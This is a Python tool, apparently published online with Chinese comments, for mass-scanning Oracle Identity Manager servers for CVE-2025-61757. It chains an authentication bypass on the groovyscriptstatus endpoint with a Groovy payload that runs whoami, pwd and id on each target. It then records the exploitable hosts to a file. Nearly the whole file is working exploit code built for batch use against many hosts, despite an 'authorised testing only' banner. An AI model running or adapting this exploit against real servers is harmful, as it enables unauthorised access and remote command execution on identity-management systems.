1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
| #!/usr/bin/env python3
"""
Oracle Identity Manager CVE-2025-61757 漏洞检测工具
作者:金夏安全
版本:2.2
描述:用于批量检测Oracle Identity Manager系统的认证绕过和远程命令执行漏洞
"""
import requests
import json
import sys
import time
import concurrent.futures
import argparse
import threading
from urllib3 import disable_warnings
from urllib3.exceptions import InsecureRequestWarning
import os
import re
import signal
# 禁用SSL警告
disable_warnings(InsecureRequestWarning)
# 颜色代码
class Colors:
RED = '\033[91m'
YELLOW = '\033[93m'
GREEN = '\033[92m'
BLUE = '\033[94m'
MAGENTA = '\033[95m'
CYAN = '\033[96m'
WHITE = '\033[97m'
RESET = '\033[0m'
BOLD = '\033[1m'
class OracleScanner:
def __init__(self, threads=10, timeout=8, verbose=False):
self.threads = threads
self.timeout = timeout
self.verbose = verbose
self.lock = threading.Lock()
self.results = {
'vulnerable': [],
'auth_bypass_only': [],
'detected': [],
'error': [],
'not_found':[],
}
self.scanned_count = 0
self.total_targets = 0
self._stop_event = threading.Event()
def print_banner(self):
"""打印工具横幅"""
banner = f"""
{Colors.RED}{Colors.BOLD}
###############################################################
# Oracle CVE-2025-61757 认证绕过+RCE漏洞检测工具 v2.2 #
# #
# 作者:金夏安全 #
# #
# 仅供授权安全测试使用 #
###############################################################
{Colors.RESET}
"""
print(banner)
def stop_scan(self):
"""停止扫描"""
self._stop_event.set()
def should_stop(self):
"""检查是否应该停止扫描"""
return self._stop_event.is_set()
def log(self, message, level="INFO", color=None):
"""日志记录 - 简化输出"""
if level in ["SUCCESS", "WARNING", "ERROR"] or self.verbose:
timestamp = time.strftime("%H:%M:%S")
color_code = color or ""
reset_code = Colors.RESET if color else ""
print(f"{color_code}[{timestamp}] [{level}] {message}{reset_code}")
def normalize_target(self, target):
"""标准化目标URL格式"""
target = target.strip()
if not target:
return None
# 移除可能的多余字符
target = re.sub(r'^\s*https?://', '', target)
target = re.sub(r'/\s*$', '', target)
if not target.startswith(('http://', 'https://')):
# 默认尝试HTTPS
target = f"https://{target}"
return target.rstrip('/')
def detect_oracle(self, target):
"""检测目标是否为Oracle Identity Manager"""
if self.should_stop():
return False, "扫描已停止"
detection_url = f"{target}/iam/governance/applicationmanagement/api/v1/applications/groovyscriptstatus"
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
'Accept': '*/*',
'Connection': 'close'
}
try:
response = requests.get(
detection_url,
headers=headers,
verify=False,
timeout=self.timeout,
allow_redirects=False
)
# 检测Oracle Identity Manager
oracle_indicators = [
'Oracle' in str(response.headers),
'oracle' in str(response.headers).lower(),
'OIM' in str(response.headers),
response.status_code == 401,
'www-authenticate' in response.headers
]
if any(oracle_indicators):
return True, response
else:
return False, response
except Exception:
return False, "连接失败"
def test_auth_bypass(self, target):
"""测试认证绕过漏洞"""
if self.should_stop():
return False, "扫描已停止"
bypass_url = f"{target}/iam/governance/applicationmanagement/api/v1/applications/groovyscriptstatus;.wadl"
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
'Accept': '*/*',
'Content-Type': 'application/json',
'Connection': 'close'
}
try:
response = requests.post(
bypass_url,
headers=headers,
data='',
verify=False,
timeout=self.timeout,
allow_redirects=False
)
# 认证绕过成功条件
if (response.status_code == 200 and
'text/plain' in response.headers.get('Content-Type', '').lower() and
'Script Compilation Successful' in response.text):
return True, response
else:
return False, response
except Exception:
return False, "请求失败"
def test_rce(self, target):
"""测试远程命令执行"""
if self.should_stop():
return False, "扫描已停止"
rce_url = f"{target}/iam/governance/applicationmanagement/api/v1/applications/groovyscriptstatus;.wadl"
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
'Accept': '*/*',
'Content-Type': 'application/json',
'Connection': 'close'
}
# 命令执行payload
payload = {
"script": """def result = new StringBuilder()
result.append("USER: ").append("whoami".execute().text.trim())
result.append("\\nPWD: ").append("pwd".execute().text.trim())
result.append("\\nID: ").append("id".execute().text.trim())
return result.toString()""",
"compile": True
}
try:
response = requests.post(
rce_url,
headers=headers,
json=payload,
verify=False,
timeout=self.timeout,
allow_redirects=False
)
if response.status_code == 200:
response_text = response.text
# 检查命令执行结果
if any(keyword in response_text for keyword in ['USER:', 'PWD:', 'ID:']):
return True, response_text
elif 'Script Compilation Successful' in response_text:
return "bypass_only", "认证绕过成功但命令无回显"
return False, "命令执行失败"
except Exception:
return False, "请求失败"
def test_single_target(self, target):
"""测试单个目标"""
if self.should_stop():
return None
original_target = target
target = self.normalize_target(target)
if not target:
return {
'target': original_target,
'status': 'ERROR',
'response': '目标URL格式无效'
}
try:
# 检测目标
is_oracle, _ = self.detect_oracle(target)
if not is_oracle:
# 尝试HTTP如果HTTPS失败
if target.startswith('https://'):
http_target = target.replace('https://', 'http://')
is_oracle, _ = self.detect_oracle(http_target)
if is_oracle:
target = http_target
if not is_oracle:
return {
'target': original_target,
'status': 'NOT_FOUND',
'response': '未检测到Oracle Identity Manager'
}
# 测试认证绕过
auth_bypass, _ = self.test_auth_bypass(target)
if not auth_bypass:
return {
'target': target,
'status': 'DETECTED',
'response': '认证绕过失败',
'auth_bypass': False,
'rce_success': False
}
# 测试RCE
rce_success, rce_result = self.test_rce(target)
if rce_success is True:
return {
'target': target,
'status': 'VULNERABLE',
'response': 'RCE漏洞存在',
'auth_bypass': True,
'rce_success': True,
'rce_output': rce_result
}
elif rce_success == "bypass_only":
return {
'target': target,
'status': 'AUTH_BYPASS',
'response': '认证绕过成功',
'auth_bypass': True,
'rce_success': False
}
else:
return {
'target': target,
'status': 'AUTH_BYPASS',
'response': '认证绕过成功但命令执行失败',
'auth_bypass': True,
'rce_success': False
}
except Exception as e:
return {
'target': original_target,
'status': 'ERROR',
'response': f'扫描异常: {str(e)}'
}
def update_progress(self):
"""更新进度显示"""
with self.lock:
self.scanned_count += 1
progress = (self.scanned_count / self.total_targets) * 100
vulnerable = len(self.results['vulnerable'])
auth_bypass = len(self.results['auth_bypass_only'])
sys.stdout.write(f"\r{Colors.CYAN}📊 进度: {self.scanned_count}/{self.total_targets} ({progress:.1f}%) | "
f"{Colors.RED}🎯 RCE漏洞: {vulnerable} {Colors.RESET}| "
f"{Colors.YELLOW}🟡 认证绕过: {auth_bypass}{Colors.RESET}")
sys.stdout.flush()
def process_result(self, result):
"""处理单个扫描结果 - 使用彩色输出"""
if not result or self.should_stop():
return
with self.lock:
if result['status'] == 'VULNERABLE':
self.results['vulnerable'].append(result)
print(f"\n{Colors.RED}{Colors.BOLD}🚨 [RCE漏洞] {result['target']}{Colors.RESET}")
if 'rce_output' in result and self.verbose:
print(f"{Colors.RED}命令输出: {result['rce_output']}{Colors.RESET}")
elif result['status'] == 'AUTH_BYPASS':
self.results['auth_bypass_only'].append(result)
print(f"\n{Colors.YELLOW}🟡 [认证绕过] {result['target']}{Colors.RESET}")
elif result['status'] == 'DETECTED':
self.results['detected'].append(result)
if self.verbose:
print(f"\n{Colors.BLUE}🔵 [检测到] {result['target']}{Colors.RESET}")
elif result['status'] == 'NOT_FOUND':
self.results['not_found'].append(result)
if self.verbose:
print(f"\n{Colors.WHITE}⚪ [未找到] {result['target']}{Colors.RESET}")
elif result['status'] in ['ERROR', 'TIMEOUT']:
self.results['error'].append(result)
if self.verbose:
print(f"\n{Colors.MAGENTA}❌ [错误] {result['target']} - {result['response']}{Colors.RESET}")
def batch_scan(self, targets):
"""批量扫描"""
self.print_banner()
self.total_targets = len(targets)
print(f"{Colors.GREEN}🎯 开始扫描 {self.total_targets} 个目标...")
print(f"⚡ 线程数: {self.threads} | 超时: {self.timeout}秒")
print(f"💡 提示: 按 Ctrl+C 可停止扫描{Colors.RESET}")
if self.verbose:
print(f"{Colors.CYAN}🔍 详细模式: 已启用{Colors.RESET}")
print("=" * 80)
start_time = time.time()
try:
with concurrent.futures.ThreadPoolExecutor(max_workers=self.threads) as executor:
future_to_target = {
executor.submit(self.test_single_target, target): target
for target in targets
}
for future in concurrent.futures.as_completed(future_to_target):
if self.should_stop():
# 取消所有未完成的任务
for f in future_to_target:
f.cancel()
print(f"\n{Colors.YELLOW}⏹️ 正在停止扫描...{Colors.RESET}")
break
target = future_to_target[future]
try:
result = future.result(timeout=self.timeout + 5)
self.process_result(result)
self.update_progress()
except concurrent.futures.TimeoutError:
error_result = {
'target': target,
'status': 'TIMEOUT',
'response': '任务执行超时'
}
self.process_result(error_result)
self.update_progress()
except KeyboardInterrupt:
print(f"\n{Colors.YELLOW}⏹️ 收到停止信号,正在停止扫描...{Colors.RESET}")
self.stop_scan()
return
end_time = time.time()
scan_duration = end_time - start_time
# 生成报告
self.generate_report(scan_duration)
def generate_report(self, duration):
"""生成扫描报告"""
print(f"\n\n{Colors.CYAN}{'=' * 80}")
print("📋 扫描报告")
print(f"{'=' * 80}{Colors.RESET}")
total_scanned = (len(self.results['vulnerable']) +
len(self.results['auth_bypass_only']) +
len(self.results['detected']) +
len(self.results['error']) +
len(self.results['not_found']))
print(f"📁 总目标数: {self.total_targets}")
print(f"{Colors.RED}🔴 RCE漏洞: {len(self.results['vulnerable'])}{Colors.RESET}")
print(f"{Colors.YELLOW}🟡 认证绕过: {len(self.results['auth_bypass_only'])}{Colors.RESET}")
print(f"{Colors.BLUE}🔵 检测到目标: {len(self.results['detected'])}{Colors.RESET}")
print(f"⚫ 未找到: {len(self.results['not_found'])}")
print(f"❌ 错误/超时: {len(self.results['error'])}")
print(f"⏱️ 扫描耗时: {duration:.2f}秒")
# 保存结果
self.save_results()
# 显示漏洞目标摘要
self.show_vulnerability_summary()
def save_results(self):
"""保存扫描结果"""
timestamp = int(time.time())
date_str = time.strftime('%Y%m%d_%H%M%S')
# 创建结果目录
os.makedirs('scan_results', exist_ok=True)
# 保存漏洞目标
if self.results['vulnerable'] or self.results['auth_bypass_only']:
vuln_file = f'scan_results/oracle_vulnerable_{date_str}.txt'
with open(vuln_file, 'w', encoding='utf-8') as f:
f.write("# Oracle Identity Manager CVE-2025-61757 漏洞目标列表\n")
f.write(f"# 扫描时间: {time.strftime('%Y-%m-%d %H:%M:%S')}\n")
f.write(f"# 工具版本: 2.2\n")
f.write(f"# 作者: 金夏安全\n")
f.write("# " + "=" * 60 + "\n\n")
if self.results['vulnerable']:
f.write("# RCE漏洞目标:\n")
for result in self.results['vulnerable']:
f.write(f"{result['target']}\n")
f.write("\n")
if self.results['auth_bypass_only']:
f.write("# 认证绕过目标:\n")
for result in self.results['auth_bypass_only']:
f.write(f"{result['target']}\n")
print(f"\n{Colors.GREEN}💾 漏洞目标已保存: {vuln_file}{Colors.RESET}")
def show_vulnerability_summary(self):
"""显示漏洞目标摘要"""
vulnerable_targets = self.results['vulnerable'] + self.results['auth_bypass_only']
if vulnerable_targets:
print(f"\n{Colors.CYAN}🎯 存在漏洞的目标 ({len(vulnerable_targets)}个):{Colors.RESET}")
for i, result in enumerate(vulnerable_targets, 1):
if result.get('rce_success'):
color = Colors.RED
status = "RCE漏洞"
else:
color = Colors.YELLOW
status = "认证绕过"
print(f" {i}. {color}{result['target']} - {status}{Colors.RESET}")
def load_targets(filename):
"""从文件加载目标"""
targets = []
try:
with open(filename, 'r', encoding='utf-8') as f:
for line in f:
line = line.strip()
if line and not line.startswith('#'):
targets.append(line)
targets = list(set(targets)) # 去重
print(f"{Colors.GREEN}✅ 成功加载 {len(targets)} 个目标 (已去重){Colors.RESET}")
return targets
except FileNotFoundError:
print(f"{Colors.RED}❌ 文件不存在: {filename}{Colors.RESET}")
return []
except Exception as e:
print(f"{Colors.RED}❌ 读取文件错误: {e}{Colors.RESET}")
return []
def signal_handler(sig, frame):
"""信号处理函数"""
print(f"\n{Colors.YELLOW}⏹️ 收到中断信号,正在停止扫描...{Colors.RESET}")
sys.exit(0)
|